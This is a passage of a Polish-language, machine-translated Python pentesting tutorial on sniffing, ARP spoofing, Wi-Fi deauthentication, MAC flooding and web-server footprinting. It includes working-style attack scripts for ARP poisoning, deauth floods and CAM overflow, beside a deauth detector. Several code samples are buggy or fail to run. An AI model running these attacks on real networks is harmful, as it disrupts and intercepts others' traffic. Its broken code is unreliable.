Protokoły, takie jak tried and true TCP/IPnigdy nie zostały zaprojektowane z myślą o bezpieczeństwie. Takie protokoły nie zapewniają dużej odporności na potencjalne intruzów. Poniżej przedstawiono różne protokoły, które umożliwiają łatwe węszenie -

HTTP

Służy do wysyłania informacji w postaci zwykłego tekstu bez szyfrowania, a tym samym do rzeczywistego celu.

SMTP (Simple Mail Transfer Protocol)

SMTP jest używany do przesyłania wiadomości e-mail. Ten protokół jest wydajny, ale nie obejmuje żadnej ochrony przed węszeniem.

NNTP (Network News Transfer Protocol)

Służy do wszystkich rodzajów komunikacji. Główną wadą tego rozwiązania jest to, że dane, a nawet hasła są przesyłane przez sieć jako zwykły tekst.

POP (protokół pocztowy)

POP jest ściśle używany do odbierania wiadomości e-mail z serwerów. Ten protokół nie obejmuje ochrony przed wąchaniem, ponieważ może zostać złapany.

FTP (protokół przesyłania plików)

FTP służy do wysyłania i odbierania plików, ale nie oferuje żadnych funkcji bezpieczeństwa. Wszystkie dane są wysyłane jako czysty tekst, który można łatwo przeszukać.

IMAP (Internet Message Access Protocol)

Funkcje IMAP są takie same jak SMTP, ale są bardzo podatne na podsłuchiwanie.

Telnet

Telnet wysyła wszystko (nazwy użytkowników, hasła, naciśnięcia klawiszy) przez sieć jako czysty tekst, dzięki czemu można je łatwo wykryć.

Sniffery nie są głupimi narzędziami, które pozwalają oglądać tylko ruch na żywo. Jeśli naprawdę chcesz przeanalizować każdy pakiet, zapisz przechwycony obraz i przejrzyj go, kiedy tylko pozwoli na to czas.

Implementacja w Pythonie

Przed zaimplementowaniem sniffera surowych gniazd, zrozummy, jak działa struct metoda opisana poniżej -

struct.pack (fmt, a1, a2,…)

Jak sama nazwa wskazuje, metoda ta służy do zwracania łańcucha, który jest pakowany zgodnie z podanym formatem. Ciąg zawiera wartości a1, a2 i tak dalej.

struct.unpack (fmt, string)

Jak sama nazwa wskazuje, metoda ta rozpakowuje napis zgodnie z podanym formatem.

W poniższym przykładzie surowego nagłówka IP sniffera gniazda, czyli następnych 20 bajtów w pakiecie, a spośród tych 20 bajtów interesuje nas ostatnie 8 bajtów. Te ostatnie bajty pokazują, czy źródłowy i docelowy adres IP analizuje -

Teraz musimy zaimportować kilka podstawowych modułów w następujący sposób -

import socket
import struct
import binascii

Teraz utworzymy gniazdo, które będzie miało trzy parametry. Pierwszy parametr mówi nam o interfejsie pakietowym - PF_PACKET dla Linuksa i AF_INET dla Windows; drugi parametr mówi nam, że jest to surowe gniazdo, a trzeci parametr mówi nam o protokole, który nas interesuje - 0x0800 używanym do protokołu IP.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

Teraz musimy zadzwonić do recvfrom() metoda odbioru pakietu.

while True:
   packet = s.recvfrom(2048)

W poniższym wierszu kodu zgrywamy nagłówek Ethernet -

ethernet_header = packet[0][0:14]

W poniższym wierszu kodu analizujemy i rozpakowujemy nagłówek z rozszerzeniem struct metoda -

eth_header = struct.unpack("!6s6s2s", ethernet_header)

Poniższy wiersz kodu zwróci krotkę z trzema wartościami szesnastkowymi, przekonwertowanymi przez hexify w binascii moduł -

print "Destination MAC:" + binascii.hexlify(eth_header[0]) + " Source MAC:" + binascii.hexlify(eth_header[1]) + " Type:" + binascii.hexlify(eth_header[2])

Możemy teraz uzyskać nagłówek IP, wykonując następujący wiersz kodu -

ipheader = pkt[0][14:34]
ip_header = struct.unpack("!12s4s4s", ipheader)
print "Source IP:" + socket.inet_ntoa(ip_header[1]) + " Destination IP:" + socket.inet_ntoa(ip_header[2])

Podobnie możemy również przeanalizować nagłówek TCP.

ARP można zdefiniować jako protokół bezstanowy, który jest używany do mapowania adresów protokołu internetowego (IP) na adresy komputerów fizycznych.

Działanie ARP

W tej sekcji dowiemy się, jak działa ARP. Rozważ następujące kroki, aby zrozumieć, jak działa ARP -

  • Step 1 - Po pierwsze, gdy maszyna chce się komunikować z inną, musi wyszukać adres fizyczny w swojej tablicy ARP.

  • Step 2 - Jeśli znajdzie fizyczny adres maszyny, pakiet po przekonwertowaniu na odpowiednią długość zostanie wysłany na wybraną maszynę

  • Step 3 - Jeśli jednak w tabeli nie zostanie znaleziony żaden wpis dotyczący adresu IP, żądanie ARP_request będzie rozgłaszane w sieci.

  • Step 4- Teraz wszystkie maszyny w sieci porównują rozgłaszany adres IP z adresem MAC i jeśli którykolwiek z komputerów w sieci zidentyfikuje adres, odpowie na żądanie ARP_request wraz z adresem IP i MAC. Taka wiadomość ARP nosi nazwę ARP_reply.

  • Step 5 - W końcu maszyna, która wyśle ​​żądanie, zapisze parę adresów w swojej tablicy ARP i cała komunikacja będzie miała miejsce.

Co to jest spoofing ARP?

Można go zdefiniować jako typ ataku, w którym złośliwy aktor wysyła sfałszowane żądanie ARP przez sieć lokalną. ARP Poisoning jest również znane jako ARP Spoofing. Można to zrozumieć za pomocą następujących punktów -

  • Pierwsze spoofing ARP, w celu przeciążenia przełącznika, skonstruuje ogromną liczbę sfałszowanych pakietów żądań ARP i odpowiedzi.

  • Następnie przełącznik zostanie ustawiony w trybie przekazywania.

  • Teraz tabela ARP byłaby zalewana sfałszowanymi odpowiedziami ARP, dzięki czemu atakujący mogliby podsłuchiwać wszystkie pakiety sieciowe.

Implementacja w Pythonie

W tej sekcji zrozumiemy implementację spoofingu ARP w języku Python. W tym celu potrzebujemy trzech adresów MAC - pierwszego ofiary, drugiego atakującego i trzeciego bramy. Oprócz tego musimy również skorzystać z kodu protokołu ARP.

Zaimportujmy wymagane moduły w następujący sposób -

import socket
import struct
import binascii

Teraz utworzymy gniazdo, które będzie miało trzy parametry. Pierwszy parametr mówi nam o interfejsie pakietu (PF_PACKET dla Linuksa i AF_INET dla Windows), drugi parametr mówi nam, czy jest to gniazdo surowe, a trzeci parametr mówi nam o protokole, który nas interesuje (tutaj 0x0800 używany dla IP protokół).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Podamy teraz adres MAC atakującego, ofiary i bramy -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Musimy podać kod protokołu ARP, jak pokazano -

code ='\x08\x06'

Dwa pakiety Ethernet, jeden dla komputera ofiary, a drugi dla maszyny bramy, zostały utworzone w następujący sposób -

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

Kolejne wiersze kodu są uporządkowane zgodnie z nagłówkiem ARP -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Teraz musimy podać adresy IP bramy i komputerów ofiar (załóżmy, że mamy następujące adresy IP dla bram i maszyn ofiar) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Przekonwertuj powyższe adresy IP na format szesnastkowy za pomocą rozszerzenia socket.inet_aton() metoda.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Wykonaj następujący wiersz kodu, aby zmienić adres IP maszyny bramy.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Wdrożenie przy użyciu Scapy na Kali Linux

Spoofing ARP można zaimplementować za pomocą Scapy w Kali Linux. Wykonaj następujące kroki, aby wykonać to samo -

Krok 1: Adres atakującej maszyny

W tym kroku znajdziemy adres IP atakującej maszyny, uruchamiając polecenie ifconfig w wierszu polecenia Kali Linux.

Krok 2: Adres maszyny docelowej

W tym kroku znajdziemy adres IP maszyny docelowej, uruchamiając polecenie ifconfig w wierszu polecenia Kali Linux, który musimy otworzyć na innej maszynie wirtualnej.

Krok 3: Pinguj maszynę docelową

W tym kroku musimy pingować maszynę docelową z maszyny atakującej za pomocą następującego polecenia -

Ping –c 192.168.43.85(say IP address of target machine)

Krok 4: Pamięć podręczna ARP na maszynie docelowej

Wiemy już, że dwie maszyny używają pakietów ARP do wymiany adresów MAC, dlatego po kroku 3 możemy uruchomić następujące polecenie na maszynie docelowej, aby zobaczyć pamięć podręczną ARP -

arp -n

Krok 5: Tworzenie pakietu ARP przy użyciu Scapy

Możemy tworzyć pakiety ARP za pomocą Scapy w następujący sposób -

scapy
arp_packt = ARP()
arp_packt.display()

Krok 6: Wysyłanie złośliwego pakietu ARP przy użyciu Scapy

Możemy wysyłać złośliwe pakiety ARP za pomocą Scapy w następujący sposób -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Jeśli teraz ponownie sprawdzimy pamięć podręczną ARP na maszynie docelowej, zobaczymy fałszywy adres „1.1.1.1”.

Systemy bezprzewodowe charakteryzują się dużą elastycznością, ale z drugiej strony prowadzi to również do poważnych problemów z bezpieczeństwem. I w jaki sposób staje się to poważnym problemem bezpieczeństwa - ponieważ napastnicy, w przypadku łączności bezprzewodowej, muszą po prostu mieć dostęp do sygnału do ataku, a nie fizyczny dostęp, jak w przypadku sieci przewodowej. Testy penetracyjne systemów bezprzewodowych są łatwiejsze niż wykonywanie tego w sieci przewodowej. Naprawdę nie możemy zastosować dobrych środków bezpieczeństwa fizycznego wobec medium bezprzewodowego, gdybyśmy byli wystarczająco blisko, bylibyśmy w stanie „usłyszeć” (lub przynajmniej twój adapter bezprzewodowy jest w stanie usłyszeć) wszystko, co płynie w powietrzu.

Wymagania wstępne

Zanim przejdziemy do dalszej nauki o pentestowaniu sieci bezprzewodowej, rozważmy omówienie terminologii i procesu komunikacji między klientem a systemem bezprzewodowym.

Ważne terminologie

Poznajmy teraz ważne terminologie związane z pentestowaniem sieci bezprzewodowej.

Punkt dostępowy (AP)

Punkt dostępowy (AP) jest centralnym węzłem w implementacjach bezprzewodowych 802.11. Ten punkt służy do łączenia użytkowników z innymi użytkownikami w sieci, a także może służyć jako punkt połączenia między bezprzewodową siecią LAN (WLAN) a siecią przewodową. W sieci WLAN punkt dostępowy to stacja, która przesyła i odbiera dane.

Identyfikator zestawu usług (SSID)

Jest to czytelny dla człowieka ciąg znaków o długości od 0 do 32 bajtów, który jest w zasadzie nazwą przypisaną do sieci bezprzewodowej. Wszystkie urządzenia w sieci muszą używać tej nazwy z rozróżnianiem wielkości liter, aby komunikować się przez sieć bezprzewodową (Wi-Fi).

Identyfikacja podstawowego zestawu usług (BSSID)

Jest to adres MAC chipsetu Wi-Fi działającego w bezprzewodowym punkcie dostępowym (AP). Jest generowany losowo.

Numer kanału

Przedstawia zakres częstotliwości radiowych wykorzystywanych przez punkt dostępowy (AP) do transmisji.

Komunikacja między klientem a systemem bezprzewodowym

Kolejną ważną rzeczą, którą musimy zrozumieć, jest proces komunikacji między klientem a systemem bezprzewodowym. Za pomocą poniższego diagramu możemy zrozumieć to samo -

Ramka latarni

W procesie komunikacji między klientem a punktem dostępowym AP okresowo wysyła ramkę sygnału nawigacyjnego, aby pokazać swoją obecność. Ta ramka zawiera informacje związane z SSID, BSSID i numerem kanału.

Żądanie sondy

Teraz urządzenie klienckie wyśle ​​żądanie sondujące w celu sprawdzenia punktów dostępowych w zasięgu. Po wysłaniu żądania sondy, będzie czekał na odpowiedź sondy z AP. Żądanie sondy zawiera informacje, takie jak SSID punktu dostępowego, informacje specyficzne dla dostawcy itp.

Odpowiedź sondy

Teraz, po otrzymaniu żądania sondy, punkt dostępowy wyśle ​​odpowiedź sondy, która zawiera informacje, takie jak obsługiwana szybkość transmisji danych, możliwości itp.

Żądanie uwierzytelnienia

Teraz urządzenie klienckie wyśle ​​ramkę żądania uwierzytelnienia zawierającą jego tożsamość.

Odpowiedź uwierzytelniania

Teraz w odpowiedzi AP wyśle ​​ramkę odpowiedzi uwierzytelnienia wskazującą akceptację lub odrzucenie.

Wniosek Stowarzyszenia

Po pomyślnym uwierzytelnieniu urządzenie klienckie wysłało ramkę z żądaniem skojarzenia zawierającą obsługiwaną szybkość transmisji danych i identyfikator SSID punktu dostępu.

Odpowiedź Stowarzyszenia

Teraz, w odpowiedzi, AP wyśle ​​ramkę odpowiedzi skojarzenia wskazującą akceptację lub odrzucenie. Identyfikator powiązania urządzenia klienckiego zostanie utworzony w przypadku akceptacji.

Znajdowanie identyfikatora zestawu usług bezprzewodowych (SSID) przy użyciu języka Python

Informacje o SSID możemy zebrać przy pomocy metody surowych gniazd, a także korzystając z biblioteki Scapy.

Metoda surowego gniazda

Już się tego nauczyliśmy mon0przechwytuje pakiety bezprzewodowe; więc musimy ustawić tryb monitora namon0. W Kali Linux można to zrobić za pomocąairmon-ngscenariusz. Po uruchomieniu tego skryptu nada karcie bezprzewodowej nazwęwlan1. Teraz za pomocą następującego polecenia musimy włączyć tryb monitorowaniamon0 -

airmon-ng start wlan1

Poniżej znajduje się metoda surowego gniazda, skrypt Pythona, który poda nam identyfikator SSID punktu dostępu -

Przede wszystkim musimy zaimportować moduły gniazd w następujący sposób -

import socket

Teraz utworzymy gniazdo, które będzie miało trzy parametry. Pierwszy parametr mówi nam o interfejsie pakietów (PF_PACKET dla Linuksa i AF_INET dla Windows), drugi parametr mówi nam, czy jest to surowe gniazdo, a trzeci parametr mówi nam, że jesteśmy zainteresowani wszystkimi pakietami.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

Teraz następna linia połączy plik mon0 tryb i 0x0003.

s.bind(("mon0", 0x0003))

Teraz musimy zadeklarować pustą listę, która będzie przechowywać SSID punktów dostępowych.

ap_list = []

Teraz musimy zadzwonić do recvfrom()metoda odbioru pakietu. Aby kontynuować wąchanie, użyjemy nieskończonej pętli while.

while True:
   packet = s.recvfrom(2048)

Następny wiersz kodu pokazuje, czy ramka ma 8 bitów, wskazując ramkę sygnału nawigacyjnego.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Sniffer SSID ze Scapy

Scapy to jedna z najlepszych bibliotek, która pozwala nam łatwo podsłuchiwać pakiety Wi-Fi. Szczegółowe informacje na temat Scapy można znaleźć pod adresemhttps://scapy.readthedocs.io/en/latest/. Na początek uruchom Sacpy w trybie interaktywnym i użyj polecenia conf, aby uzyskać wartość iface. Domyślnym interfejsem jest eth0. Teraz, gdy mamy kopułę powyżej, musimy zmienić ten tryb na mon0. Można to zrobić w następujący sposób -

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

Zaimportujmy teraz Scapy jako bibliotekę. Ponadto wykonanie następującego skryptu w Pythonie da nam identyfikator SSID -

from scapy.all import *

Teraz musimy zadeklarować pustą listę, która będzie przechowywać SSID punktów dostępowych.

ap_list = []

Teraz zdefiniujemy funkcję o nazwie Packet_info(), który będzie miał pełną logikę analizowania pakietów. Będzie miał argument pkt.

def Packet_info(pkt) :

W następnej instrukcji zastosujemy filtr, który tylko przejdzie Dot11ruch, co oznacza ruch 802.11. Kolejna linia jest również filtrem, który przepuszcza ruch mający ramkę typu 0 (reprezentującą ramkę zarządzania), a podtyp ramki to 8 (reprezentuje ramkę sygnału nawigacyjnego).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

Teraz funkcja sniff będzie sniffować dane za pomocą iface wartość mon0 (dla pakietów bezprzewodowych) i wywołaj Packet_info funkcjonować.

sniff(iface = "mon0", prn = Packet_info)

Do implementacji powyższych skryptów Pythona potrzebujemy karty Wi-Fi, która jest w stanie wąchać powietrze w trybie monitora.

Wykrywanie klientów punktu dostępu

Aby wykryć klientów punktów dostępowych, musimy przechwycić ramkę żądania sondy. Możemy to zrobić tak, jak zrobiliśmy to w skrypcie Pythona dla sniffera SSID przy użyciu Scapy. Musimy dawaćDot11ProbeReqdo przechwytywania ramki żądania sondy. Poniżej znajduje się skrypt Pythona do wykrywania klientów punktów dostępu -

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Ataki bezprzewodowe

Z perspektywy pentestera bardzo ważne jest zrozumienie, w jaki sposób odbywa się atak bezprzewodowy. W tej sekcji omówimy dwa rodzaje ataków bezprzewodowych -

  • Ataki de-uwierzytelniania (deauth)

  • Atak polegający na zalaniu adresów MAC

Ataki de-uwierzytelniania (deauth)

W procesie komunikacji między urządzeniem klienckim a punktem dostępowym za każdym razem, gdy klient chce się rozłączyć, musi wysłać ramkę de-uwierzytelniania. W odpowiedzi na tę ramkę od klienta, punkt dostępu wyśle ​​również ramkę de-uwierzytelniania. Atakujący może odnieść korzyść z tego normalnego procesu, fałszując adres MAC ofiary i wysyłając ramkę de-uwierzytelniającą do punktu dostępowego. Z tego powodu połączenie między klientem a AP jest przerywane. Poniżej znajduje się skrypt Pythona do przeprowadzenia ataku polegającego na cofnięciu uwierzytelnienia -

Najpierw zaimportujmy Scapy jako bibliotekę -

from scapy.all import *
import sys

Kolejne dwie instrukcje wprowadzą odpowiednio adres MAC punktu dostępu i ofiary.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

Teraz musimy utworzyć ramkę de-uwierzytelniania. Można go utworzyć, wykonując następującą instrukcję.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

Kolejna linia kodu przedstawia całkowitą liczbę wysłanych pakietów; tutaj jest to 500 i przerwa między dwoma pakietami.

sendp(frame, iface = "mon0", count = 500, inter = .1)

Wynik

Po wykonaniu powyższe polecenie generuje następujące dane wyjściowe -

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

Po tym następuje utworzenie ramki deauth, która jest w ten sposób wysyłana do punktu dostępowego w imieniu klienta. Spowoduje to zerwanie połączenia między nimi.

Pytanie brzmi, jak wykryć atak deauth za pomocą skryptu Python. Wykonanie następującego skryptu w Pythonie pomoże w wykryciu takich ataków -

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

W powyższym skrypcie instrukcja pkt.subtype == 12 wskazuje ramkę deauth, a zmienna I, która jest zdefiniowana globalnie, mówi o liczbie pakietów.

Wynik

Wykonanie powyższego skryptu generuje następujące dane wyjściowe -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

Ataki typu MAC address flooding

Atak polegający na zalewaniu adresów MAC (atak polegający na zalewaniu tablic CAM) to rodzaj ataku sieciowego, w którym osoba atakująca podłączona do portu przełącznika zalewa interfejs przełącznika bardzo dużą liczbą ramek Ethernet z różnymi fałszywymi źródłowymi adresami MAC. Przepełnienia tabeli CAM występują, gdy napływ adresów MAC jest zalewany do tabeli i osiągany jest próg tabeli CAM. Powoduje to, że przełącznik działa jak koncentrator, zalewając sieć ruchem na wszystkich portach. Takie ataki są bardzo łatwe do przeprowadzenia. Poniższy skrypt w Pythonie pomaga w przeprowadzeniu takiego ataku CAM -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

Głównym celem tego rodzaju ataku jest sprawdzenie bezpieczeństwa przełącznika. Musimy użyć zabezpieczeń portów, jeśli chcemy zmniejszyć efekt ataku polegającego na zalaniu adresów MAC.

Aplikacje internetowe i serwery internetowe mają kluczowe znaczenie dla naszej obecności w Internecie, a obserwowane na nie ataki stanowią ponad 70% wszystkich ataków podejmowanych w Internecie. Te ataki próbują przekształcić zaufane witryny internetowe w złośliwe. Z tego powodu testowanie serwera WWW i aplikacji internetowych odgrywa ważną rolę.

Drukowanie foot serwera WWW

Dlaczego musimy wziąć pod uwagę bezpieczeństwo serwerów internetowych? Dzieje się tak, ponieważ wraz z szybkim rozwojem branży e-commerce głównym celem atakujących jest serwer WWW. Aby przeprowadzić pentestowanie serwera WWW, musimy wiedzieć o serwerze WWW, jego oprogramowaniu hostingowym i systemach operacyjnych oraz aplikacjach, które na nich działają. Zbieranie takich informacji o serwerze WWW nazywa się zapisywaniem śladu serwera WWW.

W naszej kolejnej sekcji omówimy różne metody tworzenia śladu serwera WWW.

Metody tworzenia footprintów serwera WWW

Serwery internetowe to oprogramowanie lub sprzęt serwerowy przeznaczone do obsługi żądań i dostarczania odpowiedzi. Jest to kluczowy obszar, na którym pentester powinien się skupić podczas przeprowadzania testów penetracyjnych serwerów internetowych.

Omówmy teraz kilka metod, zaimplementowanych w Pythonie, które można wykonać w celu określenia footprintów serwera WWW -

Testowanie dostępności metod HTTP

Bardzo dobrą praktyką dla testera penetracji jest rozpoczęcie od wyszczególnienia różnych dostępnych metod HTTP. Poniżej znajduje się skrypt w Pythonie, za pomocą którego możemy połączyć się z docelowym serwerem WWW i wyliczyć dostępne metody HTTP -

Na początek musimy zaimportować bibliotekę żądań -

import requests

Po zaimportowaniu biblioteki requestów stwórzmy tablicę metod HTTP, które mamy zamiar wysłać. Użyjemy niektórych standardowych metod, takich jak „GET”, „POST”, „PUT”, „DELETE”, „OPTIONS” i niestandardowej metody „TEST”, aby sprawdzić, jak serwer WWW może obsłużyć nieoczekiwane dane wejściowe.

method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']

Poniższy wiersz kodu to główna pętla skryptu, która wyśle ​​pakiety HTTP do serwera WWW i wydrukuje metodę oraz kod statusu.

for method in method_list:
   req = requests.request(method, 'Enter the URL’)
   print (method, req.status_code, req.reason)

W następnym wierszu zostanie sprawdzona możliwość śledzenia między lokacjami (XST), wysyłając metodę TRACE.

if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
   print ('Cross Site Tracing(XST) is possible')

Po uruchomieniu powyższego skryptu dla konkretnego serwera WWW, otrzymamy 200 OK odpowiedzi na konkretną metodę zaakceptowaną przez serwer WWW. Otrzymamy odpowiedź 403 Forbidden, jeśli serwer sieciowy wyraźnie odrzuci metodę. Gdy wyślemy metodę TRACE do testowania śledzenia między lokacjami (XST), otrzymamy405 Not Allowed odpowiedzi z serwera WWW, w przeciwnym razie otrzymamy wiadomość ‘Cross Site Tracing(XST) is possible’.

Drukowanie foot poprzez sprawdzenie nagłówków HTTP

Nagłówki HTTP znajdują się zarówno w żądaniach, jak i odpowiedziach z serwera WWW. Zawierają również bardzo ważne informacje o serwerach. Dlatego tester penetracji jest zawsze zainteresowany analizowaniem informacji poprzez nagłówki HTTP. Poniżej znajduje się skrypt w Pythonie do uzyskiwania informacji o nagłówkach serwera internetowego -

Na początek zaimportujmy bibliotekę żądań -

import requests

Musimy wysłać żądanie GET do serwera WWW. Poniższy wiersz kodu tworzy proste żądanie GET za pośrednictwem biblioteki żądań.

request = requests.get('enter the URL')

Następnie wygenerujemy listę nagłówków, o których potrzebujesz informacji.

header_list = [
   'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]

Dalej jest próba i oprócz bloku.

for header in header_list:
   try:
      result = request.header_list[header]
      print ('%s: %s' % (header, result))
   except Exception as err:
      print ('%s: No Details Found' % header)

Po uruchomieniu powyższego skryptu dla konkretnego serwera WWW uzyskamy informację o nagłówkach znajdujących się na liście nagłówków. Jeśli nie będzie informacji dla konkretnego nagłówka, wyświetli się komunikat „Nie znaleziono szczegółów”. Możesz również dowiedzieć się więcej o polach HTTP_header z linku -https://www.tutorialspoint.com/http/http_header_fields.htm.

Testowanie niezabezpieczonych konfiguracji serwera WWW

Możemy użyć informacji z nagłówka HTTP do przetestowania niezabezpieczonych konfiguracji serwera WWW. W poniższym skrypcie w Pythonie zamierzamy użyć bloku try / except do przetestowania niezabezpieczonych nagłówków serwera WWW pod kątem liczby adresów URL zapisanych w nazwie pliku tekstowegowebsites.txt -

import requests
urls = open("websites.txt", "r")

for url in urls:
   url = url.strip()
   req = requests.get(url)
   print (url, 'report:')
   
   try:
      protection_xss = req.headers['X-XSS-Protection']
      if protection_xss != '1; mode = block':
      print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
   except:
      print ('X-XSS-Protection not set, it may be possible')
      
   try:
      options_content_type = req.headers['X-Content-Type-Options']
      if options_content_type != 'nosniff':
      print ('X-Content-Type-Options not set properly:', options_content_type)
   except:
      print ('X-Content-Type-Options not set')
      
   try:
      transport_security = req.headers['Strict-Transport-Security']
   except:
      print ('HSTS header not set properly, Man in the middle attacks is possible')
      
   try:
      content_security = req.headers['Content-Security-Policy']
      print ('Content-Security-Policy set:', content_security)
   except:
      print ('Content-Security-Policy missing')

Ślad aplikacji internetowej

W naszej poprzedniej sekcji omawialiśmy footprinting serwera WWW. Podobnie, footprinting aplikacji internetowej jest również uważany za ważny z punktu widzenia testera penetracji.

W naszej kolejnej sekcji dowiemy się o różnych metodach tworzenia footprintów aplikacji internetowej.

Metody tworzenia footprintów aplikacji sieci Web

Aplikacja internetowa to program typu klient-serwer, który jest uruchamiany przez klienta na serwerze sieciowym. Jest to kolejny kluczowy obszar, na którym pentester powinien się skupić podczas przeprowadzania testów penetracyjnych aplikacji internetowych.

Omówmy teraz różne metody zaimplementowane w Pythonie, których można użyć do tworzenia footprintów aplikacji internetowej -

Zbieranie informacji przy użyciu parsera BeautifulSoup

Załóżmy, że chcemy zebrać wszystkie hiperłącza ze strony internetowej; możemy skorzystać z parsera o nazwie BeautifulSoup. Parser to biblioteka Pythona do wyciągania danych z plików HTML i XML. Może być używany zurlib ponieważ potrzebuje danych wejściowych (dokumentu lub adresu URL), aby utworzyć obiekt zupy i nie może samodzielnie pobrać strony internetowej.

Na początek zaimportujmy niezbędne pakiety. Zaimportujemy urlib iBeautifulSoup. Pamiętaj, że przed zaimportowaniem BeautifulSoup musimy go zainstalować.

import urllib
from bs4 import BeautifulSoup

Podany poniżej skrypt Pythona zbierze tytuł strony internetowej i hiperłącza -

Teraz potrzebujemy zmiennej, która może przechowywać adres URL witryny. Tutaj użyjemy zmiennej o nazwie „url”. Będziemy również używaćpage.read() funkcja, która może zapisać stronę internetową i przypisać ją do zmiennej html_page.

url = raw_input("Enter the URL ")
page = urllib.urlopen(url)
html_page = page.read()

Plik html_page zostaną przypisane jako dane wejściowe do tworzenia obiektu zupy.

soup_object = BeautifulSoup(html_page)

W następnych dwóch wierszach zostanie wydrukowana nazwa tytułu ze znacznikami i bez znaczników.

print soup_object.title
print soup_object.title.text

Linia kodu pokazana poniżej zapisze wszystkie hiperłącza.

for link in soup_object.find_all('a'):
   print(link.get('href'))

Chwytanie banerów

Baner jest jak wiadomość tekstowa zawierająca informacje o serwerze, a przechwytywanie banera to proces pobierania informacji dostarczonych przez sam baner. Teraz musimy wiedzieć, jak generowany jest ten baner. Jest generowany przez nagłówek wysyłanego pakietu. Podczas gdy klient próbuje połączyć się z portem, serwer odpowiada, ponieważ nagłówek zawiera informacje o serwerze.

Poniższy skrypt w Pythonie pomaga złapać baner za pomocą programowania w gniazdach -

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

targethost = str(raw_input("Enter the host name: "))
targetport = int(raw_input("Enter Port: "))
s.connect((targethost,targetport))

def garb(s:)
   try:
      s.send('GET HTTP/1.1 \r\n')
      ret = sock.recv(1024)
      print ('[+]' + str(ret))
      return
   except Exception as error:
      print ('[-]' Not information grabbed:' + str(error))
      return

Po uruchomieniu powyższego skryptu otrzymamy podobne informacje o nagłówkach, jakie otrzymaliśmy ze skryptu w Pythonie footprinting nagłówków HTTP w poprzedniej sekcji.

W tym rozdziale dowiemy się, jak walidacja pomaga w pentestingu w Pythonie.

Głównym celem walidacji jest sprawdzenie i upewnienie się, że użytkownik dostarczył niezbędne i odpowiednio sformatowane informacje potrzebne do pomyślnego zakończenia operacji.

Istnieją dwa różne typy walidacji -

  • walidacja po stronie klienta (przeglądarka internetowa)
  • walidacja po stronie serwera

Walidacja po stronie serwera i walidacja po stronie klienta

Wywoływane jest sprawdzanie poprawności danych wejściowych użytkownika, które ma miejsce po stronie serwera podczas sesji post back server-side validation. Języki takie jak PHP i ASP.Net używają walidacji po stronie serwera. Po zakończeniu procesu walidacji po stronie serwera informacje zwrotne są przesyłane z powrotem do klienta poprzez wygenerowanie nowej i dynamicznej strony internetowej. Za pomocą walidacji po stronie serwera możemy uzyskać ochronę przed złośliwymi użytkownikami.

